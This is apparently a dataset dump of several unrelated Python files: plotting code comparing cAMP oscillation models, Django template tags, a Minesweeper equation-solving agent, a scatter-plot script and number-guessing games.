ax.set_xlabel(r'$cAMP_{ext}$ input='+str(alphafval_arr[i])+ 'nM', fontsize=label_font_size)\naxA43.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA43.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA43.set_xlim([0,30]); axA43.set_ylim([-0.35,1.75])\n\n# Kamino 2017\naxA51= fig.add_subplot(grid[7:9, 6:9])\nfor count in range(5):\n axA51.plot(t_plot_Kamino,y_traces_norm[0,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA51.plot(t_plot_Kamino,y_traces_norm_mean[0,:], color= kaminocolor,linewidth=trace_width)\naxA51.text(0.73,0.88,r'Low $cAMP_{e}$ input', ha='center',va='center',\n transform = axA51.transAxes, color = 'k', fontsize= text_size)\naxA51.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA51.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA51.set_xlim([0,30]); axA51.set_ylim([-0.35,1.75])\n\n# axA51.text(-0.06 , 1.2, '(f)', ha='center',va='center',\n# transform = axA51.transAxes, color = simcolor, fontsize=abcd_font_size)\naxA51.set_title('IFFL',color = kaminocolor, size=title_font_size)\n\naxA52= fig.add_subplot(grid[9:11, 6:9])\nfor count in range(5):\n axA52.plot(t_plot_Kamino,y_traces_norm[1,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA52.plot(t_plot_Kamino,y_traces_norm_mean[1,:], color= kaminocolor, linewidth=trace_width)\naxA52.text(0.73,0.75,r'Intermediate $cAMP_{e}$'+'\\n input', ha='center',va='center',\n transform = axA52.transAxes, color = 'k', fontsize= text_size)\naxA52.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA52.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA52.set_xlim([0,30]); axA52.set_ylim([-0.35,1.75])\n\naxA53= fig.add_subplot(grid[11:, 6:9])\nfor count in range(5):\n axA53.plot(t_plot_Kamino,y_traces_norm[2,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA53.plot(t_plot_Kamino,y_traces_norm_mean[2,:], color= kaminocolor, linewidth=trace_width)\naxA53.text(0.73,0.88,r'High $cAMP_{e}$ input', ha='center',va='center',\n transform = axA53.transAxes, color = 'k', fontsize= text_size)\naxA53.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA53.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA53.set_xlim([0,30]); axA53.set_ylim([-0.35,1.75]) \n\naxA33.text(-0.15,1.65, r'$cAMP_{i}$', ha='center',va='center',rotation=90,\n transform = axA33.transAxes, color = 'k', fontsize=label_font_size)\naxA33.text(1.75,-0.5, 'Time, A.U.', ha='center',va='center',\n transform = axA33.transAxes, color = 'k', fontsize=label_font_size)\n\n\n# pop firing rate\n\nnpzfile = np.load('../exp_data/Gregor2010_pop_firing_rate.npz')\nPopRateExp = npzfile['PopRateExp']\nJExp = npzfile['JExp']; RhoExp = npzfile['RhoExp']\n\n# Simulation outputs\n# Goldbeter 1987 from parallel computing outputs\nOUT_path = 'C:/Users/ellin/Documents/GitHub/dictymodels/model_outputs/'\nGold_OUT = np.load(OUT_path + 'pop_FR_Goldbeter_200311_hnorm_dt0.001_noise0ParamLen40.npz')\nkc_arr_Gold = Gold_OUT['kc_arr']\nh_arr_Gold = Gold_OUT['h_arr']\noneoverh_arr_Gold = 1/h_arr_Gold\npop_rate_Gold = Gold_OUT['pop_rate_Goldbeter']\n\nGold_OUT_noise10 = np.load(OUT_path + 'pop_FR_Goldbeter_200311_hnorm_dt0.001_noise10ParamLen40.npz')\nkc_arr_Gold_noise10 = Gold_OUT_noise10['kc_arr']\nh_arr_Gold_noise10 = Gold_OUT_noise10['h_arr']\noneoverh_arr_Gold_noise10 = 1/h_arr_Gold_noise10\npop_rate_Gold_noise10 = Gold_OUT_noise10['pop_rate_Goldbeter']\n# Maeda Loomis 2004 from parallel computing outputs\nMaeda_OUT = np.load(OUT_path +'pop_FR_Maeda_200331_hnorm_dt0.0001_noise0ParamLen25p.npz')\nrho_arr_Maeda = Maeda_OUT['rho_arr']\ngamma_arr_Maeda = Maeda_OUT['gamma_arr']\npop_rate_Maeda = Maeda_OUT['pop_rate_Maeda']\n\nMaeda_OUT_noise1 = np.load(OUT_path +'pop_FR_Maeda_200331_hnorm_dt0.0001_noise1ParamLen25p.npz')\nrho_arr_Maeda_noise1 = Maeda_OUT_noise1['rho_arr']\ngamma_arr_Maeda_noise1 = Maeda_OUT_noise1['gamma_arr']\npop_rate_Maeda_noise1 = Maeda_OUT_noise1['pop_rate_Maeda']\n\n# Gregor 2010 from parallel computing outputs\nGregor_OUT_noise = np.load(OUT_path +'pop_fire_rate_Gregor_OUT_191026_noise0.002.npz')\nk_arr_Gregor_noise = Gregor_OUT_noise['k_arr']\nrho_arr_Gregor_noise = Gregor_OUT_noise['rho_arr']\npop_rate_Gregor_noise = Gregor_OUT_noise['pop_rate_Gregor']\n\nGregor_OUT = np.load(OUT_path +'pop_fire_rate_Gregor_OUT_191027_noise0.npz')\nk_arr_Gregor = Gregor_OUT['k_arr']\nrho_arr_Gregor = Gregor_OUT['rho_arr']\npop_rate_Gregor = Gregor_OUT['pop_rate_Gregor']\n\n# Sgro 2015\nSgro_no_noise_OUT = np.load(OUT_path +'pop_fire_rate_Sgro_OUT_200414_same_init_cond_ttot_25.0_dt0.005_sigma0_dir_cpl0.npz')\nj_arr_Sgro_no_noise = Sgro_no_noise_OUT['j_arr']\nrho_arr_Sgro_no_noise = Sgro_no_noise_OUT['rho_arr']\npop_rate_Sgro_no_noise = Sgro_no_noise_OUT['pop_rate_Sgro']\n\nSgro_low_noise_OUT = np.load(OUT_path +'pop_fire_rate_Sgro_OUT_200414_same_init_cond_ttot_25.0_dt0.005_sigma0.1_dir_cpl0.npz')\nj_arr_Sgro_low_noise = Sgro_low_noise_OUT['j_arr']\nrho_arr_Sgro_low_noise = Sgro_low_noise_OUT['rho_arr']\npop_rate_Sgro_low_noise = Sgro_low_noise_OUT['pop_rate_Sgro']\n\nSgro_regular_noise_OUT = np.load(OUT_path +'pop_fire_rate_Sgro_OUT_200413_same_init_cond_ttot_25.0_dt0.005_sigma0.15_dir_cpl0.npz')\nj_arr_Sgro_regular_noise = Sgro_regular_noise_OUT['j_arr']\nrho_arr_Sgro_regular_noise = Sgro_regular_noise_OUT['rho_arr']\npop_rate_Sgro_regular_noise = Sgro_regular_noise_OUT['pop_rate_Sgro']\n\n# Kamino 2017 from parallel computing outputs\nKamino_OUT = np.load(OUT_path +'pop_FR_Kamino_200401_dt0.001_noise_0_PrmLen_25PkFindThr0.03.npz')\nrho_arr_Kamino = Kamino_OUT['rho_arr']\ngamma_arr_Kamino = Kamino_OUT['gamma_arr']\npop_rate_Kamino = Kamino_OUT['pop_rate_Kamino']\n\nKamino_OUT_noise = np.load(OUT_path +'pop_FR_Kamino_200401_dt0.001_noise_0.01_PrmLen_25PkFindThr0.03.npz')\nrho_arr_Kamino_noise = Kamino_OUT_noise['rho_arr']\ngamma_arr_Kamino_noise = Kamino_OUT_noise['gamma_arr']\npop_rate_Kamino_noise = Kamino_OUT_noise['pop_rate_Kamino']\n\n\n# fig = plt.figure(figsize=(24,9))\n# grid = plt.GridSpec(13, 14, wspace=1.5, hspace=0.8)\n\n# axB0= fig.add_subplot(grid[0:3,10:12])\naxB0 = fig.add_axes([0.67, 0.71, 0.09,0.18])\naxB0.set_xticks([0,2,4,6,8]); \naxB0.set_xticklabels([1,3,5,7,9],fontsize=tick_font_size)\n\n# axB0.set_yticks([0,1,2,3,4,5,6,7]); \n# axB0.set_yticklabels(['1/2','1/4','1/8','1/16','1/32','1/64','1/128'],fontsize=tick_font_size-3)\naxB0.set_yticks([0,2,4,6]); \naxB0.set_yticklabels(['1/2','1/8','1/32','1/128'],fontsize=tick_font_size)\n\naxB0.set_title('Experiment', fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\naxB0.set_xlabel('Flow Rate (mL/min)', size=sublabel_font_size)\naxB0.set_ylabel('Cell Density(mML)', size=sublabel_font_size)\nheatmap = axB0.imshow(PopRateExp, cmap='jet') # cmap='jet'\nx=[3.5,4.5,5.5,7.5,9.5]\n[axB0.axvline(_x, color='white',linewidth=trace_width) for _x in x]\n# heatmap.set_clim(0,0.16)\ncbar=fig.colorbar(heatmap, ax=axB0,ticks=[0,0.05,0.1,0.15]);\ncbar.ax.tick_params(labelsize = tick_font_size) \ncbar.set_label( 'cAMP pulses/min',size=tick_font_size)\n#axB0.tick_params(axis='both', which='major', labelsize=tick_font_size)\n# axB0.text(-0.33 , 1.55, '(a)',\n# ha='center',va='center',\n# transform = axB0.transAxes, color = expcolor, fontsize=abcd_font_size)\n\n\n# axB1lower= fig.add_subplot(grid[0:3,12:],xticks=[0,25,50,75,100])\naxB1lower = fig.add_axes([0.82, 0.71, 0.11,0.17],xticks=[0,25,50,75,100])\nheatmap = axB1lower.pcolor(kc_arr_Gold, oneoverh_arr_Gold, pop_rate_Gold_noise10.transpose(), cmap='jet') # cmap='jet'\n# axB1.set_xscale('log');\naxB1lower.set_yscale('log')\nheatmap.set_clim(0,1.5)\ncbar=fig.colorbar(heatmap, ax=axB1lower, ticks=[0,0.5,1,1.5])\ncbar.ax.tick_params(labelsize = tick_font_size) \naxB1lower.tick_params(axis='both', which='major', labelsize=tick_font_size)\naxB1lower.set_title('Receptor\\ndesensitization', color = goldcolor,fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\n\n# axB1lower.text(-0.25 , 1.2, '(b)',\n# ha='center',va='center',\n# transform = axB1lower.transAxes, color = simcolor, fontsize=abcd_font_size)\n\n\n# axB2lower= fig.add_subplot(grid[4:7,10:12],xticks=[0,25,50,75,100])\naxB2lower = fig.add_axes([0.672, 0.44, 0.11,0.17], xticks=[0,25,50,75,100])\nheatmap = axB2lower.pcolor(gamma_arr_Maeda, rho_arr_Maeda, pop_rate_Maeda_noise1.transpose(), cmap='jet') # cmap='jet'\nheatmap.set_clim(0,0.65)\naxB2lower.set_yscale('log')\ncbar=fig.colorbar(heatmap, ax=axB2lower);cbar.ax.tick_params(labelsize = tick_font_size) \naxB2lower.tick_params(axis='both', which='major', labelsize=tick_font_size)\n# axB2lower.set_title('Coupled direct and\\nindirect Negative feedback', color= maedacolor,fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\naxB2lower.set_title('CDINFB', color= maedacolor,fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\n\n# axB2lower.text(-0.25 , 1.2, '(c)',\n# ha='center',va='center',\n# transform = axB2lower.transAxes, color = simcolor, fontsize=abcd_font_size)\n\n# axB3= fig.add_subplot(grid[4:7,12:], xticks=[0,25,50,75,100])\naxB3 = fig.add_axes([0.82, 0.44, 0.11,0.17],xticks=[0,25,50,75,100])\n\nheatmap = axB3.pcolor(k_arr_Gregor_noise, rho_arr_Gregor_noise, pop_rate_Gregor_noise.transpose(), cmap='jet') # cmap='jet'\nheatmap.set_clim(0,1.2)\naxB3.set_yscale('log')\ncbar=fig.colorbar(heatmap, ax=axB3);cbar.ax.tick_params(labelsize = tick_font_size) \naxB3.tick_params(axis='both', which='major', labelsize=tick_font_size)\naxB3.set_title('Phase oscillator',color= gregorcolor, fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\n# axB3.text(-0.25 , 1.2, '(d)',\n# ha='center',va='center',\n# transform = axB3.transAxes, color = simcolor, fontsize=abcd_font_size)\n\n# Sgro regular noise (sig = 0.15)\n# axB4= fig.add_subplot(grid[8:11,10:12],xticks=[0,0.5,1])\naxB4 = fig.add_axes([0.672, 0.17, 0.11,0.17], xticks=[0,0.5,1])\n\nheatmap = axB4.pcolor(j_arr_Sgro_regular_noise, rho_arr_Sgro_regular_noise, \n pop_rate_Sgro_regular_noise.transpose(), cmap='jet') # cmap='jet'\nheatmap.set_clim(0,0.65)\naxB4.set_yscale('log'); # axB4.set_ylim([10**(-5),10**(-3)]); \ncbar=fig.colorbar(heatmap, ax=axB4);cbar.ax.tick_params(labelsize = tick_font_size) \naxB4.tick_params(axis='both', which='major', labelsize=tick_font_size)\n# axB4.set_title('Interlocking positive-\\nnegative feedback', color= sgrocolor,fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\naxB4.set_title('IPNFB', color= sgrocolor,fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\n# axB4.text(-0.25 , 1.2, '(e)',\n# ha='center',va='center',\n# transform = axB4.transAxes, color = simcolor, fontsize=abcd_font_size)\n# axB4.set_xticklabels([0,0.25,0.5,0.75,1], rotation=45,fontsize=tick_font_size)\n\n\n# axB5lower= fig.add_subplot(grid[8:11,12:], xticks=[0,25,50,75,100])\naxB5lower = fig.add_axes([0.82, 0.17, 0.11,0.17],xticks=[0,25,50,75,100])\n\nheatmap = axB5lower.pcolor(gamma_arr_Kamino, rho_arr_Kamino, \n pop_rate_Kamino_noise.transpose(), cmap='jet') # cmap='jet'\nheatmap.set_clim(0,0.65)\naxB5lower.set_yscale('log')\ncbar=fig.colorbar(heatmap, ax=axB5lower);cbar.ax.tick_params(labelsize = tick_font_size) \naxB5lower.tick_params(axis='both', which='major', labelsize=tick_font_size)\naxB5lower.set_title('IFFL', color = kaminocolor, fontdict={'fontsize': title_font_size, 'fontweight': 'medium'})\n\naxB5lowerin= fig.add_axes([0.865,0.18,0.04,0.075])\nheatmap = axB5lowerin.pcolor(gamma_arr_Kamino, rho_arr_Kamino,\n pop_rate_Kamino_noise.transpose(), cmap='jet') # cmap='jet'\nheatmap.set_clim(0,0.65)\naxB5lowerin.set_yscale('log'); axB5lowerin.set_xscale('log');\naxB5lowerin.set_xticks([]) ; axB5lowerin.set_yticks([]) \naxB5lowerin.spines['bottom'].set_color('white');axB5lowerin.spines['top'].set_color('white')\naxB5lowerin.spines['left'].set_color('white');axB5lowerin.spines['right'].set_color('white')\n\n# axB5lower.text(-0.25 , 1.2, '(f)',\n# ha='center',va='center',\n# transform = axB5lower.transAxes, color = simcolor, fontsize=abcd_font_size)\n\naxA01.text(-0.2, 1.32, 'A',\n ha='center',va='center',\n transform = axA01.transAxes, color = 'k', fontsize=ABCD_font_size)\naxB0.text(-0.53, 1.6, 'B',\n ha='center',va='center',\n transform = axB0.transAxes, color = 'k', fontsize=ABCD_font_size)\naxB4.text(1.5 , -0.35, 'Dilution Rate, A.U.',\n ha='center',va='center',\n transform = axB4.transAxes, color = 'k', fontsize= label_font_size)\naxB4.text(-0.4 , 1.2, 'Population Density, A.U.',\n ha='center',va='center',rotation = 90,\n transform = axB4.transAxes, color = 'k', fontsize= label_font_size)\n\n# fig.text(0.51, 0.045, 'Dilution Rate, A.U.',fontsize=label_font_size, ha='center')\n# fig.text(0.08, 0.35, 'Population Density, A.U.',fontsize=label_font_size, va='center', rotation='vertical')\n\ngrid.tight_layout(fig,rect=[0, 0, 1, 1],pad = 2)\nfig.tight_layout()","sub_path":"compare_models/Fig3_POP_PlotFinal.py","file_name":"Fig3_POP_PlotFinal.py","file_ext":"py","file_size_in_byte":27546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"212698320","text":"from django import template\nfrom django.template.defaultfilters import stringfilter\nfrom django.utils.safestring import mark_safe\n\nfrom ..models import Membership\n\nregister = template.Library()\n\n\n@register.simple_tag()\ndef projects_indent(level):\n string = ''\n if level > 0:\n for _ in range(level - 1):\n string += '  '\n string += '• '\n\n return mark_safe('' + string + '')\n\n\n@register.filter()\n@stringfilter\ndef projects_role(role):\n return dict(Membership.ROLE_CHOICES).get(role, '')\n","sub_path":"rdmo/projects/templatetags/projects_tags.py","file_name":"projects_tags.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"415319069","text":"from random import randint\r\nfrom collections import deque\r\nimport LibraryFunctions\r\n\r\n\r\nclass ImprovedKnowledgeBase():\r\n def __init__(self,dim):\r\n self.dim=dim\r\n # hash values for knownValues\r\n # mines (False)\r\n # safeSquares (True,numMinesGivenByClue)\r\n self.knownValues={}\r\n # equations\r\n # each equation is (location is key, val is coefficient {},RHS value)\r\n self.equations=deque()\r\n\r\n # THIS METHOD ASSUMES THERE IS A VALID CANCELLATION POSSIBLE\r\n # returns the equation that represents the reduction between both equations\r\n def reductionEquation(self,firstEquation,secondEquation):\r\n # subtract smaller RHS value equation from larger one\r\n larger = None\r\n smaller = None\r\n if (secondEquation[1]>firstEquation[1]):\r\n larger=secondEquation\r\n smaller = firstEquation\r\n else:\r\n larger=firstEquation\r\n smaller=secondEquation\r\n # actual subtraction\r\n newEquationDict = {}\r\n # updating based on larger equation\r\n for val in larger[0]:\r\n newEquationDict[val]=larger[0][val]\r\n # updating value\r\n newRHS=larger[1]-smaller[1]\r\n # updating based on negative values of smaller equation\r\n for val in smaller[0]:\r\n if val in newEquationDict:\r\n newEquationDict[val]=newEquationDict[val]-smaller[0][val]\r\n if newEquationDict[val]==0:\r\n # we need to remove this\r\n del newEquationDict[val]\r\n else:\r\n newEquationDict[val]= -smaller[0][val]\r\n return (newEquationDict,newRHS)\r\n\r\n # newDiscovery is a tuple (1/0, loc)\r\n # 1/0 indicates if mine or not\r\n # location is the (row,col) of discovered info about entry\r\n # returns list of equations that can be solved (already removed from our knowledge base)\r\n def substitution(self,newDiscovery):\r\n # removing any solved equations\r\n # we need to check for a certain special case\r\n # we need to check if this value is already known, then we can skip\r\n removedList = deque()\r\n solvedList = deque()\r\n reducedList = deque()\r\n\r\n for equation in self.equations:\r\n if newDiscovery[1] in equation[0]:\r\n lhs = equation[0]\r\n rhs = equation[1]\r\n # modification is the new value on LHS based on discovered value of this entry\r\n # getting coefficient\r\n modification = lhs[newDiscovery[1]]\r\n # multiplying coefficient with known value\r\n modification *= newDiscovery[0]\r\n # subtracting from rhs\r\n rhs -= modification\r\n # removing variable from our equation after substitution\r\n del lhs[(newDiscovery[1])]\r\n # accounting for RHS being negative\r\n if rhs<0:\r\n for coefficients in lhs:\r\n lhs[coefficients]=-lhs[coefficients]\r\n rhs = - rhs\r\n reducedEquation = (lhs,rhs)\r\n if not reducedEquation[0]:\r\n # this means that variable coefficents are empty, we should just remove the equation\r\n removedList.append(equation)\r\n continue\r\n if self.canBeSolved(reducedEquation):\r\n # we want to return solved list in the end and remove the associated\r\n # old versions of the solvable equations from our knowledge base\r\n solvedList.append(reducedEquation)\r\n removedList.append(equation)\r\n else:\r\n # in this case, the reduced equation is not solvable\r\n # we want to update the old equation in KB with the reduced version\r\n reducedList.append(reducedEquation)\r\n removedList.append(equation)\r\n # removing it from our actual knowledge base\r\n for removable in removedList:\r\n self.equations.remove(removable)\r\n for reducable in reducedList:\r\n # adding in reduced equations that arent solvable\r\n self.equations.append(reducable)\r\n return solvedList\r\n\r\n # solves an equation detected by isSolvable method\r\n # returns the values found in the form:\r\n # returns a list of mines and a list of free spots found\r\n def solvedEquationSolver(self,equation):\r\n\r\n # solved variables are any variables solved of the form (1/0, loc) where 1 is a mine, 0 safe\r\n foundMines=deque()\r\n foundSafes=deque()\r\n for ourVar in equation[0]:\r\n\r\n if ourVar in self.knownValues:\r\n continue\r\n\r\n # logic for if rhs is zero and all coefficients are same sign (all are free)\r\n if equation[1] == 0:\r\n # then this is safe\r\n foundSafes.append(ourVar)\r\n continue\r\n # logic for if all positive terms on lhs equals rhs (positive terms are mines), everything else is free\r\n if equation[0][ourVar] > 0:\r\n # this is a mine\r\n self.knownValues[ourVar]=False\r\n foundMines.append(ourVar)\r\n else:\r\n # then this is safe\r\n foundSafes.append(ourVar)\r\n\r\n return foundMines,foundSafes\r\n\r\n\r\n\r\n\r\n # simple helper to scale a solved equation to final value (i.e -A=-1, 2A=2,etc.)\r\n def solvedEquationScalar(self,equation):\r\n for key in equation[0]:\r\n if equation[0][key]!=1:\r\n equation[1]/=equation[0][key]\r\n equation[0][key]=1\r\n return key\r\n\r\n # helper to query cell from board and update our info about known squares\r\n # queries initiate the substitute->reduce->solve->substitute loop\r\n # returns loc,None if the square is a mine\r\n # otherwise, returns loc,EQUATION if the square is free\r\n # loc is (row,col) and EQUATION is the equation built from clue to add to knowledge base\r\n def queryCellFromBoard(self, loc,Board):\r\n if loc in self.knownValues:\r\n # we do not try and query the same thing twice\r\n # returning location with an empty equation\r\n # returning empty deque\r\n return deque()\r\n numMinesClue = Board.queryPosition(loc)\r\n if numMinesClue == -1:\r\n # then agent queried a mine\r\n # this is a mine\r\n self.knownValues[loc] = False\r\n # getting result of substitution\r\n toSolve = self.substitution((1,loc))\r\n return toSolve\r\n else:\r\n # this is safe, we can update our info and use the clue to generate an equation\r\n\r\n equationLHS = {}\r\n equationRHS=numMinesClue\r\n neighbors = LibraryFunctions.getValidNeighbors(self.dim,loc)\r\n numSafeSquares=0\r\n numMines=0\r\n for neighbor in neighbors:\r\n if neighbor in self.knownValues:\r\n if self.knownValues[neighbor] is False:\r\n # this is a mine\r\n numMines +=1\r\n equationRHS -=1\r\n else:\r\n # this is safe\r\n numSafeSquares+=1\r\n else:\r\n # then this is part of a generated equation with the clue\r\n #with coefficient of 1\r\n equationLHS[neighbor]=1\r\n # updating info about safe square\r\n self.knownValues[loc] = True,numMinesClue\r\n # this is a free square\r\n # updating info about the clue associated with query\r\n newEquation = equationLHS,equationRHS\r\n # plugging in newEquation and substitution\r\n toSolve = self.substitution((0,loc))\r\n otherSolvable = self.finalAddReduce(newEquation)\r\n for solvable in otherSolvable:\r\n toSolve.append(solvable)\r\n return toSolve\r\n\r\n # idea here is that we find the best reduction possible for each equation\r\n def finalPassReduce(self):\r\n didReducing = False\r\n toSolve = deque()\r\n toRemove = deque()\r\n toAdd = deque()\r\n for i in range(len(self.equations)):\r\n first = self.equations[i]\r\n\r\n if first in toRemove:\r\n # then we shouldnt do more reduction with this\r\n continue\r\n\r\n if self.canBeSolved(first):\r\n if first not in toSolve:\r\n toSolve.append(first)\r\n if first not in toRemove:\r\n toRemove.append(first)\r\n continue\r\n reductionToUse=None\r\n secondToUse = None\r\n for j in range(i+1,len(self.equations)):\r\n second = self.equations[j]\r\n if second in toRemove:\r\n # then we shouldnt do any more reduction with this\r\n continue\r\n sameOne=True\r\n sameTwo=True\r\n for vars in first[0]:\r\n if vars not in second[0]:\r\n sameOne = False\r\n break\r\n for vars in second[0]:\r\n if vars not in first[0]:\r\n sameTwo=False\r\n break\r\n if sameTwo and sameOne:\r\n # cant reduce with same equation!\r\n # in fact, we should remove one of them\r\n toRemove.append(second)\r\n continue\r\n\r\n if self.canBeSolved(second):\r\n if second not in toSolve:\r\n toSolve.append(second)\r\n if second not in toRemove:\r\n toRemove.append(second)\r\n continue\r\n reductionToCheck = self.reductionEquation(first, second)\r\n if self.canBeSolved(reductionToCheck):\r\n # then I should append this to the solvable list\r\n if reductionToCheck not in toSolve:\r\n toSolve.append(reductionToCheck)\r\n if len(reductionToCheck[0]) A and B are mines, C and D are safe\r\n # C+D-A-B = -2 --> A and B are mines (need to scale negative equations)\r\n # If rhs is zero and every coefficient is same sign, then every term is free\r\n def canBeSolved(self,equation):\r\n lhsSum = 0\r\n lastSign=None\r\n allSame = True\r\n for ourVar in equation[0]:\r\n if equation[0][ourVar] > 0:\r\n lhsSum += equation[0][ourVar]\r\n if lastSign is None:\r\n lastSign='+'\r\n elif lastSign=='-':\r\n allSame=False\r\n else:\r\n if lastSign is None:\r\n lastSign='-'\r\n elif lastSign=='+':\r\n allSame=False\r\n # if lhsSum == equation[1] (rhs), then this is solvable\r\n if lhsSum==equation[1]:\r\n return True\r\n elif allSame and equation[1]==0:\r\n # if rhs is 0 and every lhs term is the same, then every term in the equation represents a free square\r\n return True\r\n else:\r\n return False\r\n\r\n # deciding which cell to query if we cannot proceed with reduction/substitution\r\n # returns the cell to query\r\n # idea, all possibly known safe cells have already been queried\r\n # so we need to find a cell with low probability of being a mine\r\n # idea: go through each cell that has been identified as free\r\n # go through each hidden neighbor\r\n # pick any hidden neighbor from cell with lowest (CLUE-minesIdentified)/numHiddenNeighbors\r\n def probabilityCellToQuery(self):\r\n # initial value is any random cell\r\n lowestProbLoc = self.randomCellToQuery()\r\n lowestProb=1\r\n for cells in self.knownValues:\r\n if self.knownValues[cells]==False:\r\n # only want to consider cells identified as safe with a clue\r\n continue\r\n neighbors = LibraryFunctions.getValidNeighbors(self.dim,cells)\r\n numHidden=0\r\n numMines=0\r\n hiddenNeighbor=None\r\n for neighbor in neighbors:\r\n if neighbor not in self.knownValues:\r\n numHidden+=1\r\n hiddenNeighbor=neighbor\r\n elif self.knownValues[neighbor]==False:\r\n # then this neighbor is a mine\r\n numMines+=1\r\n if numHidden ==0:\r\n continue\r\n givenProbability =(self.knownValues[cells][1] - numMines)/numHidden\r\n if ( givenProbability< lowestProb):\r\n # then we choose a neighbor from here\r\n lowestProbLoc=hiddenNeighbor\r\n lowestProb=givenProbability\r\n # returning the next cell to query\r\n return lowestProbLoc\r\n\r\n # generates random cell to query\r\n #versus our improved above method (although I think that is still naive)\r\n def randomCellToQuery(self):\r\n # getting list of all vacant locations\r\n unknowns = []\r\n for i in range(self.dim):\r\n for j in range(self.dim):\r\n if (i,j) not in self.knownValues:\r\n unknowns.append((i,j))\r\n # now unknowns is a list of unknown locations (we just pick randomly from this list)\r\n pos = randint(0,len(unknowns)-1)\r\n return unknowns[pos]\r\n\r\n # idea here is to query the location that is involved in the most equations\r\n # the intuition is that querying this location will result in smaller equations sizes or lead to better information\r\n def equationCellToQuery(self):\r\n # finding the location with most appearances in our equations\r\n mostFound = None\r\n largest={}\r\n for equation in self.equations:\r\n if not mostFound:\r\n for loc in equation[0]:\r\n largest[loc]=0\r\n else:\r\n for loc in equation[0]:\r\n if loc in largest:\r\n largest[loc]+=1\r\n else:\r\n largest[loc]=0\r\n # getting largest\r\n for location in largest:\r\n if mostFound is None:\r\n mostFound=location\r\n else:\r\n if largest[mostFound] 0:\n for i in range(len(clean_names)):\n ax.text(X[i],Y[i],clean_names[i], fontsize=4)\n\n ax.set_xlabel(args.x_label)\n ax.set_ylabel(args.y_label)\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n\n plt.savefig(args.out_file,bbox_inches='tight')\n\nif __name__ == '__main__':\n main()\n","sub_path":"scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"8340231","text":"i = \"yes\"\r\ntried = 0\r\nuser = 0\r\n\r\nimport random\r\nimport time\r\n\r\nprint(\"\")\r\nprint(\"Guess a correct number between 0 and 10\\n\")\r\ntime.sleep(1)\r\n\r\nwhile i == \"yes\" or i == \"y\":\r\n random_no = random.randint(0,9)\r\n while tried<3:\r\n user = int(input(\"Guess the no : \"))\r\n if user<0 or user >9:\r\n print(str(user)+\" is not in range. Try again.\")\r\n elif user != random_no:\r\n tried = tried + 1\r\n if tried <3:\r\n print(\"Oh! Wrong Number. Try Again\")\r\n elif tried == 3:\r\n print(\"You didn't guess the correct number. [\"+str(random_no)+\"]\")\r\n elif user == random_no:\r\n print(\"You guessed the number correct. [\"+str(random_no)+\"]\")\r\n tried = 3\r\n\r\n print(\"\")\r\n i = input(\"Wanna Play That Again (Yes/No) : \").casefold()\r\n tried = 0\r\n print(\"\")\r\n \r\nprint(\"Thank for using our application.\")\r\nprint(\"Follow me on Instagram @jatinkumar2438\")","sub_path":"Number Guessing Game.py","file_name":"Number Guessing Game.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"288665405","text":"\"\"\"\nName: Number Guessing Game\n\nAuthor: Tenzin PHuljung\n\nCopyright (C) 2016 Tenzin Phuljung\n\"\"\"\n\ndef is_unique(code):\n \"\"\"\n Checks if all the individual numbers in a number are unique.\n :param code: int\n :return: bool\n\n >>> is_unique(12345)\n True\n >>> is_unique(12335)\n False\n \"\"\"\n data = {}\n for num in str(code):\n if num not in data:\n data[num] = 1\n else:\n data[num] += 1\n for key in data:\n if data[key] != 1:\n return False\n\n return True\n\n\ndef get_secret_code():\n '''\n Gets secret code and checks if it is valid.\n :return: int\n '''\n secret_code = input(\"Please enter a 5 digit secret code. Make sure all the digits are unique: \\n\")\n while (len(secret_code) == 5 and secret_code.isdigit() and is_unique(int(secret_code))) == False:\n secret_code = input(\n \"That was an invalid input. Please enter a 5 digit secret code making sure all the digits are unique. Enter it here: \\n\")\n else:\n print(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\")\n return secret_code\n\n\ndef get_guess_code():\n '''\n Gets guess code and checks if it is valid.\n :return: int\n '''\n guess_code = input(\"Please enter your 5 digit number guess: \\n\")\n while (len(guess_code) != 5):\n guess_code = input(\"That was not a valid guess code. Please make sure to enter a 5 digit number: \\n\")\n else:\n return guess_code\n\n\ndef count_of_secret_code_in_guess(num1, num2):\n '''\n Returns the count of secret numbers that appear in guess number.\n :param num1: int\n :param num2: int\n :return: int\n\n >>> count_of_secret_code_in_guess(12345, 12378)\n 3\n >>> count_of_secret_code_in_guess(16039, 78900)\n 2\n '''\n counter = 0\n for num in str(num1):\n if num in str(num2):\n counter += 1\n return counter\n\n\ndef count_of_guess_code_positions(num1, num2):\n '''\n Returns the count of guess code numbers that are in the correct positions.\n :param num1:\n :param num2:\n :return: int\n\n >>> count_of_guess_code_positions(12345, 12789)\n 2\n\n >>> count_of_guess_code_positions(56789, 56700)\n 3\n '''\n count = 0\n for i, j in zip(str(num1), str(num2)):\n if i == j:\n count += 1\n return count\n\ndef win_message(count):\n '''\n If user guesses the correct number, then it congratulates the user along with the number 